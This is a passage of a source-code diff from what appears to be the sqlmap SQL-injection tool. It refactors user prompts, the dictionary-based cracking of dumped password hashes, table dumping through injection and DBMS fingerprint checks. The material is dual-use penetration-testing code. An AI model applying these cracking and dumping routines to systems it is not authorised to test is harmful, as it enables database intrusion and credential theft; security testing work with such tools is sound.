"headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items()],
|
||||||
|
"cookies": [],
|
||||||
|
"queryString": [],
|
||||||
|
"headersSize": -1,
|
||||||
|
"bodySize": -1,
|
||||||
|
"comment": self.comment,
|
||||||
|
}
|
||||||
|
|
||||||
|
if self.postBody:
|
||||||
|
contentType = self.headers.get("Content-Type")
|
||||||
|
out["postData"] = {
|
||||||
|
"mimeType": contentType,
|
||||||
|
"text": self.postBody.rstrip("\r\n"),
|
||||||
|
}
|
||||||
|
|
||||||
|
return out
|
||||||
|
|
||||||
|
class Response:
|
||||||
|
extract_status = re.compile(r'\((\d{3}) (.*)\)')
|
||||||
|
|
||||||
|
def __init__(self, httpVersion, status, statusText, headers, content, raw=None, comment=None):
|
||||||
|
self.raw = raw
|
||||||
|
self.httpVersion = httpVersion
|
||||||
|
self.status = status
|
||||||
|
self.statusText = statusText
|
||||||
|
self.headers = headers
|
||||||
|
self.content = content
|
||||||
|
self.comment = comment.strip() if comment else comment
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def parse(cls, raw):
|
||||||
|
altered = raw
|
||||||
|
comment = ""
|
||||||
|
|
||||||
|
if altered.startswith("HTTP response [") or altered.startswith("HTTP redirect ["):
|
||||||
|
io = StringIO.StringIO(raw)
|
||||||
|
first_line = io.readline()
|
||||||
|
parts = cls.extract_status.search(first_line)
|
||||||
|
status_line = "HTTP/1.0 %s %s" % (parts.group(1), parts.group(2))
|
||||||
|
remain = io.read()
|
||||||
|
altered = status_line + "\r\n" + remain
|
||||||
|
comment = first_line
|
||||||
|
|
||||||
|
response = httplib.HTTPResponse(FakeSocket(altered))
|
||||||
|
response.begin()
|
||||||
|
|
||||||
|
try:
|
||||||
|
content = response.read(-1)
|
||||||
|
except httplib.IncompleteRead:
|
||||||
|
content = raw[raw.find("\r\n\r\n") + 4:].rstrip("\r\n")
|
||||||
|
|
||||||
|
return cls(httpVersion="HTTP/1.1" if response.version == 11 else "HTTP/1.0",
|
||||||
|
status=response.status,
|
||||||
|
statusText=response.reason,
|
||||||
|
headers=response.msg,
|
||||||
|
content=content,
|
||||||
|
comment=comment,
|
||||||
|
raw=raw)
|
||||||
|
|
||||||
|
def toDict(self):
|
||||||
|
content = {
|
||||||
|
"mimeType": self.headers.get("Content-Type"),
|
||||||
|
"text": self.content,
|
||||||
|
"size": len(self.content or "")
|
||||||
|
}
|
||||||
|
|
||||||
|
binary = set(['\0', '\1'])
|
||||||
|
if any(c in binary for c in self.content):
|
||||||
|
content["encoding"] = "base64"
|
||||||
|
content["text"] = base64.b64encode(self.content)
|
||||||
|
|
||||||
|
return {
|
||||||
|
"httpVersion": self.httpVersion,
|
||||||
|
"status": self.status,
|
||||||
|
"statusText": self.statusText,
|
||||||
|
"headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items() if key.lower() != "uri"],
|
||||||
|
"cookies": [],
|
||||||
|
"content": content,
|
||||||
|
"headersSize": -1,
|
||||||
|
"bodySize": -1,
|
||||||
|
"redirectURL": "",
|
||||||
|
"comment": self.comment,
|
||||||
|
}
|
||||||
|
|
||||||
|
class FakeSocket:
|
||||||
|
# Original source:
|
||||||
|
# https://stackoverflow.com/questions/24728088/python-parse-http-response-string
|
||||||
|
|
||||||
|
def __init__(self, response_text):
|
||||||
|
self._file = StringIO.StringIO(response_text)
|
||||||
|
|
||||||
|
def makefile(self, *args, **kwargs):
|
||||||
|
return self._file
|
||||||
|
|
||||||
|
class HTTPRequest(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
|
# Original source:
|
||||||
|
# https://stackoverflow.com/questions/4685217/parse-raw-http-headers
|
||||||
|
|
||||||
|
def __init__(self, request_text):
|
||||||
|
self.comment = None
|
||||||
|
self.rfile = StringIO.StringIO(request_text)
|
||||||
|
self.raw_requestline = self.rfile.readline()
|
||||||
|
|
||||||
|
if self.raw_requestline.startswith("HTTP request ["):
|
||||||
|
self.comment = self.raw_requestline
|
||||||
|
self.raw_requestline = self.rfile.readline()
|
||||||
|
|
||||||
|
self.error_code = self.error_message = None
|
||||||
|
self.parse_request()
|
||||||
|
|
||||||
|
def send_error(self, code, message):
|
||||||
|
self.error_code = code
|
||||||
|
self.error_message = message
|
||||||
+29
-30
@@ -382,8 +382,8 @@ def storeHashesToFile(attack_dict):
|
|||||||
if kb.storeHashesChoice is None:
|
if kb.storeHashesChoice is None:
|
||||||
message = "do you want to store hashes to a temporary file "
|
message = "do you want to store hashes to a temporary file "
|
||||||
message += "for eventual further processing with other tools [y/N] "
|
message += "for eventual further processing with other tools [y/N] "
|
||||||
test = readInput(message, default="N")
|
|
||||||
kb.storeHashesChoice = test[0] in ("y", "Y")
|
kb.storeHashesChoice = readInput(message, default='N', boolean=True)
|
||||||
|
|
||||||
if not kb.storeHashesChoice:
|
if not kb.storeHashesChoice:
|
||||||
return
|
return
|
||||||
@@ -482,11 +482,11 @@ def attackDumpedTable():
|
|||||||
storeHashesToFile(attack_dict)
|
storeHashesToFile(attack_dict)
|
||||||
|
|
||||||
message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]")
|
message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]")
|
||||||
test = readInput(message, default="N" if conf.multipleTargets else "Y")
|
choice = readInput(message, default='N' if conf.multipleTargets else 'Y').upper()
|
||||||
|
|
||||||
if test[0] in ("n", "N"):
|
if choice == 'N':
|
||||||
return
|
return
|
||||||
elif test[0] in ("q", "Q"):
|
elif choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
|
|
||||||
results = dictionaryAttack(attack_dict)
|
results = dictionaryAttack(attack_dict)
|
||||||
@@ -529,7 +529,7 @@ def hashRecognition(value):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist):
|
def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api):
|
||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
coloramainit()
|
coloramainit()
|
||||||
|
|
||||||
@@ -583,7 +583,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
|
|||||||
|
|
||||||
status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
|
status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
|
||||||
|
|
||||||
if not hasattr(conf, "api"):
|
if not api:
|
||||||
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status))
|
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
@@ -605,7 +605,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
|
|||||||
with proc_count.get_lock():
|
with proc_count.get_lock():
|
||||||
proc_count.value -= 1
|
proc_count.value -= 1
|
||||||
|
|
||||||
def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist):
|
def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist, api):
|
||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
coloramainit()
|
coloramainit()
|
||||||
|
|
||||||
@@ -657,7 +657,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
|
|||||||
if user and not user.startswith(DUMMY_USER_PREFIX):
|
if user and not user.startswith(DUMMY_USER_PREFIX):
|
||||||
status += ' (user: %s)' % user
|
status += ' (user: %s)' % user
|
||||||
|
|
||||||
if not hasattr(conf, "api"):
|
if not api:
|
||||||
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status))
|
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
@@ -766,20 +766,20 @@ def dictionaryAttack(attack_dict):
|
|||||||
message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0]
|
message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0]
|
||||||
message += "[2] custom dictionary file\n"
|
message += "[2] custom dictionary file\n"
|
||||||
message += "[3] file with list of dictionary files"
|
message += "[3] file with list of dictionary files"
|
||||||
choice = readInput(message, default="1")
|
choice = readInput(message, default='1')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if choice == "2":
|
if choice == '2':
|
||||||
message = "what's the custom dictionary's location?\n"
|
message = "what's the custom dictionary's location?\n"
|
||||||
dictPaths = [readInput(message)]
|
_ = readInput(message)
|
||||||
|
if _:
|
||||||
logger.info("using custom dictionary")
|
dictPaths = [readInput(message)]
|
||||||
elif choice == "3":
|
logger.info("using custom dictionary")
|
||||||
|
elif choice == '3':
|
||||||
message = "what's the list file location?\n"
|
message = "what's the list file location?\n"
|
||||||
listPath = readInput(message)
|
listPath = readInput(message)
|
||||||
checkFile(listPath)
|
checkFile(listPath)
|
||||||
dictPaths = getFileItems(listPath)
|
dictPaths = getFileItems(listPath)
|
||||||
|
|
||||||
logger.info("using custom list of dictionaries")
|
logger.info("using custom list of dictionaries")
|
||||||
else:
|
else:
|
||||||
logger.info("using default dictionary")
|
logger.info("using default dictionary")
|
||||||
@@ -805,9 +805,8 @@ def dictionaryAttack(attack_dict):
|
|||||||
logger.critical(warnMsg)
|
logger.critical(warnMsg)
|
||||||
|
|
||||||
message = "do you want to use common password suffixes? (slow!) [y/N] "
|
message = "do you want to use common password suffixes? (slow!) [y/N] "
|
||||||
test = readInput(message, default="N")
|
|
||||||
|
|
||||||
if test[0] in ("y", "Y"):
|
if readInput(message, default='N', boolean=True):
|
||||||
suffix_list += COMMON_PASSWORD_SUFFIXES
|
suffix_list += COMMON_PASSWORD_SUFFIXES
|
||||||
|
|
||||||
infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name
|
infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name
|
||||||
@@ -843,12 +842,12 @@ def dictionaryAttack(attack_dict):
|
|||||||
count = _multiprocessing.Value('i', _multiprocessing.cpu_count())
|
count = _multiprocessing.Value('i', _multiprocessing.cpu_count())
|
||||||
|
|
||||||
for i in xrange(_multiprocessing.cpu_count()):
|
for i in xrange(_multiprocessing.cpu_count()):
|
||||||
p = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist))
|
process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api))
|
||||||
processes.append(p)
|
processes.append(process)
|
||||||
|
|
||||||
for p in processes:
|
for process in processes:
|
||||||
p.daemon = True
|
process.daemon = True
|
||||||
p.start()
|
process.start()
|
||||||
|
|
||||||
while count.value > 0:
|
while count.value > 0:
|
||||||
time.sleep(0.5)
|
time.sleep(0.5)
|
||||||
@@ -859,7 +858,7 @@ def dictionaryAttack(attack_dict):
|
|||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
retVal = Queue()
|
retVal = Queue()
|
||||||
_bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist)
|
_bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api)
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print
|
print
|
||||||
@@ -927,12 +926,12 @@ def dictionaryAttack(attack_dict):
|
|||||||
count = _multiprocessing.Value('i', _multiprocessing.cpu_count())
|
count = _multiprocessing.Value('i', _multiprocessing.cpu_count())
|
||||||
|
|
||||||
for i in xrange(_multiprocessing.cpu_count()):
|
for i in xrange(_multiprocessing.cpu_count()):
|
||||||
p = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist))
|
process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api))
|
||||||
processes.append(p)
|
processes.append(process)
|
||||||
|
|
||||||
for p in processes:
|
for process in processes:
|
||||||
p.daemon = True
|
process.daemon = True
|
||||||
p.start()
|
process.start()
|
||||||
|
|
||||||
while count.value > 0:
|
while count.value > 0:
|
||||||
time.sleep(0.5)
|
time.sleep(0.5)
|
||||||
@@ -951,7 +950,7 @@ def dictionaryAttack(attack_dict):
|
|||||||
found_ = Value()
|
found_ = Value()
|
||||||
found_.value = False
|
found_.value = False
|
||||||
|
|
||||||
_bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist)
|
_bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api)
|
||||||
|
|
||||||
found = found_.value
|
found = found_.value
|
||||||
|
|
||||||
|
|||||||
@@ -41,7 +41,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
|
|||||||
|
|
||||||
if count is None:
|
if count is None:
|
||||||
query = dumpNode.count % table
|
query = dumpNode.count % table
|
||||||
query = whereQuery(query)
|
query = agent.whereQuery(query)
|
||||||
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT)
|
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT)
|
||||||
|
|
||||||
if isinstance(count, basestring) and count.isdigit():
|
if isinstance(count, basestring) and count.isdigit():
|
||||||
@@ -91,7 +91,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = dumpNode.count2 % (column, table)
|
query = dumpNode.count2 % (column, table)
|
||||||
query = whereQuery(query)
|
query = agent.whereQuery(query)
|
||||||
value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||||
|
|
||||||
if isNumPosStrValue(value):
|
if isNumPosStrValue(value):
|
||||||
@@ -125,7 +125,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
|
|||||||
else:
|
else:
|
||||||
query = dumpNode.query2.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False))
|
query = dumpNode.query2.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False))
|
||||||
|
|
||||||
query = whereQuery(query)
|
query = agent.whereQuery(query)
|
||||||
return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind))
|
return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@@ -179,18 +179,3 @@ def pivotDumpTable(table, colList, count=None, blind=True):
|
|||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
|
|
||||||
return entries, lengths
|
return entries, lengths
|
||||||
|
|
||||||
def whereQuery(query):
|
|
||||||
if conf.dumpWhere and query:
|
|
||||||
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
|
|
||||||
|
|
||||||
if "%s)" % conf.tbl.upper() in prefix.upper():
|
|
||||||
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
|
||||||
elif re.search(r"(?i)\bWHERE\b", prefix):
|
|
||||||
prefix += " AND %s" % conf.dumpWhere
|
|
||||||
else:
|
|
||||||
prefix += " WHERE %s" % conf.dumpWhere
|
|
||||||
|
|
||||||
query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix
|
|
||||||
|
|
||||||
return query
|
|
||||||
|
|||||||
+3
-3
@@ -111,11 +111,11 @@ def _search(dork):
|
|||||||
message += "\n[1] (re)try with DuckDuckGo (default)"
|
message += "\n[1] (re)try with DuckDuckGo (default)"
|
||||||
message += "\n[2] (re)try with Disconnect Search"
|
message += "\n[2] (re)try with Disconnect Search"
|
||||||
message += "\n[3] quit"
|
message += "\n[3] quit"
|
||||||
choice = readInput(message, default="1").strip().upper()
|
choice = readInput(message, default='1')
|
||||||
|
|
||||||
if choice == "Q":
|
if choice == '3':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == "2":
|
elif choice == '2':
|
||||||
url = "https://search.disconnect.me/searchTerms/search?"
|
url = "https://search.disconnect.me/searchTerms/search?"
|
||||||
url += "start=nav&option=Web"
|
url += "start=nav&option=Web"
|
||||||
url += "&query=%s" % urlencode(dork, convall=True)
|
url += "&query=%s" % urlencode(dork, convall=True)
|
||||||
|
|||||||
@@ -64,6 +64,8 @@ class SQLAlchemy(GenericConnector):
|
|||||||
raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__)
|
raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__)
|
||||||
except ImportError:
|
except ImportError:
|
||||||
pass
|
pass
|
||||||
|
elif "invalid literal for int() with base 10: '0b" in traceback.format_exc():
|
||||||
|
raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')")
|
||||||
raise
|
raise
|
||||||
except SqlmapFilePathException:
|
except SqlmapFilePathException:
|
||||||
raise
|
raise
|
||||||
|
|||||||
@@ -18,6 +18,6 @@ try:
|
|||||||
__import__(_)
|
__import__(_)
|
||||||
except ImportError:
|
except ImportError:
|
||||||
errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
|
errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
|
||||||
errMsg += "most probably because current version of Python has been "
|
errMsg += "most likely because current version of Python has been "
|
||||||
errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
|
errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
|
||||||
exit(errMsg)
|
exit(errMsg)
|
||||||
@@ -7,7 +7,7 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
import pyodbc
|
import pyodbc
|
||||||
except ImportError:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -146,7 +146,7 @@ class Fingerprint(GenericFingerprint):
|
|||||||
return value
|
return value
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or (conf.dbms or "").lower() in ACCESS_ALIASES):
|
if not conf.extensiveFp and Backend.isDbmsWithin(ACCESS_ALIASES):
|
||||||
setDbms(DBMS.ACCESS)
|
setDbms(DBMS.ACCESS)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
import ibm_db_dbi
|
import ibm_db_dbi
|
||||||
except ImportError:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -18,4 +18,3 @@ class Enumeration(GenericEnumeration):
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
|||||||
@@ -81,7 +81,7 @@ class Fingerprint(GenericFingerprint):
|
|||||||
return value
|
return value
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or (conf.dbms or "").lower() in DB2_ALIASES):
|
if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES):
|
||||||
setDbms(DBMS.DB2)
|
setDbms(DBMS.DB2)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
import kinterbasdb
|
import kinterbasdb
|
||||||
except ImportError:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -18,7 +18,6 @@ from lib.core.enums import DBMS
|
|||||||
from lib.core.session import setDbms
|
from lib.core.session import setDbms
|
||||||
from lib.core.settings import FIREBIRD_ALIASES
|
from lib.core.settings import FIREBIRD_ALIASES
|
||||||
from lib.core.settings import METADB_SUFFIX
|
from lib.core.settings import METADB_SUFFIX
|
||||||
from lib.core.settings import UNKNOWN_DBMS_VERSION
|
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
@@ -103,9 +102,7 @@ class Fingerprint(GenericFingerprint):
|
|||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \
|
if not conf.extensiveFp and Backend.isDbmsWithin(FIREBIRD_ALIASES):
|
||||||
or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \
|
|
||||||
Backend.getVersion() != UNKNOWN_DBMS_VERSION:
|
|
||||||
setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion()))
|
setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion()))
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
try:
|
try:
|
||||||
import jaydebeapi
|
import jaydebeapi
|
||||||
import jpype
|
import jpype
|
||||||
except ImportError, msg:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -10,7 +10,6 @@ from lib.core.data import conf
|
|||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.common import Backend
|
|
||||||
from lib.core.common import unArrayizeValue
|
from lib.core.common import unArrayizeValue
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.settings import HSQLDB_DEFAULT_SCHEMA
|
from lib.core.settings import HSQLDB_DEFAULT_SCHEMA
|
||||||
|
|||||||
@@ -16,7 +16,6 @@ from lib.core.data import logger
|
|||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.session import setDbms
|
from lib.core.session import setDbms
|
||||||
from lib.core.settings import HSQLDB_ALIASES
|
from lib.core.settings import HSQLDB_ALIASES
|
||||||
from lib.core.settings import UNKNOWN_DBMS_VERSION
|
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
@@ -28,13 +27,13 @@ class Fingerprint(GenericFingerprint):
|
|||||||
value = ""
|
value = ""
|
||||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp and not hasattr(conf, "api"):
|
if wsOsFp and not conf.api:
|
||||||
value += "%s\n" % wsOsFp
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
if kb.data.banner:
|
if kb.data.banner:
|
||||||
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
if dbmsOsFp and not hasattr(conf, "api"):
|
if dbmsOsFp and not conf.api:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
value += "back-end DBMS: "
|
value += "back-end DBMS: "
|
||||||
@@ -80,9 +79,7 @@ class Fingerprint(GenericFingerprint):
|
|||||||
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \
|
if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES):
|
||||||
or (conf.dbms or "").lower() in HSQLDB_ALIASES) and Backend.getVersion() and \
|
|
||||||
Backend.getVersion() != UNKNOWN_DBMS_VERSION:
|
|
||||||
setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion()))
|
setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion()))
|
||||||
|
|
||||||
if Backend.isVersionGreaterOrEqualThan("1.7.2"):
|
if Backend.isVersionGreaterOrEqualThan("1.7.2"):
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
import ibm_db_dbi
|
import ibm_db_dbi
|
||||||
except ImportError:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -56,7 +56,7 @@ class Fingerprint(GenericFingerprint):
|
|||||||
return value
|
return value
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if not conf.extensiveFp and (Backend.isDbmsWithin(INFORMIX_ALIASES) or (conf.dbms or "").lower() in INFORMIX_ALIASES):
|
if not conf.extensiveFp and Backend.isDbmsWithin(INFORMIX_ALIASES):
|
||||||
setDbms(DBMS.INFORMIX)
|
setDbms(DBMS.INFORMIX)
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from lib.core.common import Backend
|
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import safeSQLIdentificatorNaming
|
from lib.core.common import safeSQLIdentificatorNaming
|
||||||
@@ -20,8 +19,8 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException
|
|||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
from lib.core.settings import CURRENT_DB
|
from lib.core.settings import CURRENT_DB
|
||||||
|
from lib.utils.brute import columnExists
|
||||||
from lib.utils.pivotdumptable import pivotDumpTable
|
from lib.utils.pivotdumptable import pivotDumpTable
|
||||||
from lib.techniques.brute.use import columnExists
|
|
||||||
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
class Enumeration(GenericEnumeration):
|
class Enumeration(GenericEnumeration):
|
||||||
@@ -66,7 +65,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
|
|
||||||
if conf.db:
|
if conf.db:
|
||||||
dbs = conf.db.split(",")
|
dbs = conf.db.split(',')
|
||||||
else:
|
else:
|
||||||
dbs = self.getDbs()
|
dbs = self.getDbs()
|
||||||
|
|
||||||
@@ -117,7 +116,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
conf.db = safeSQLIdentificatorNaming(conf.db)
|
conf.db = safeSQLIdentificatorNaming(conf.db)
|
||||||
|
|
||||||
if conf.col:
|
if conf.col:
|
||||||
colList = conf.col.split(",")
|
colList = conf.col.split(',')
|
||||||
else:
|
else:
|
||||||
colList = []
|
colList = []
|
||||||
|
|
||||||
@@ -128,7 +127,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
|
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
|
||||||
|
|
||||||
if conf.tbl:
|
if conf.tbl:
|
||||||
tblList = conf.tbl.split(",")
|
tblList = conf.tbl.split(',')
|
||||||
else:
|
else:
|
||||||
self.getTables()
|
self.getTables()
|
||||||
|
|
||||||
@@ -173,11 +172,11 @@ class Enumeration(GenericEnumeration):
|
|||||||
return kb.data.cachedColumns
|
return kb.data.cachedColumns
|
||||||
|
|
||||||
message = "do you want to use common column existence check? [y/N/q] "
|
message = "do you want to use common column existence check? [y/N/q] "
|
||||||
test = readInput(message, default="Y" if "Y" in message else "N")
|
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
|
||||||
|
|
||||||
if test[0] in ("n", "N"):
|
if choice == 'N':
|
||||||
return
|
return
|
||||||
elif test[0] in ("q", "Q"):
|
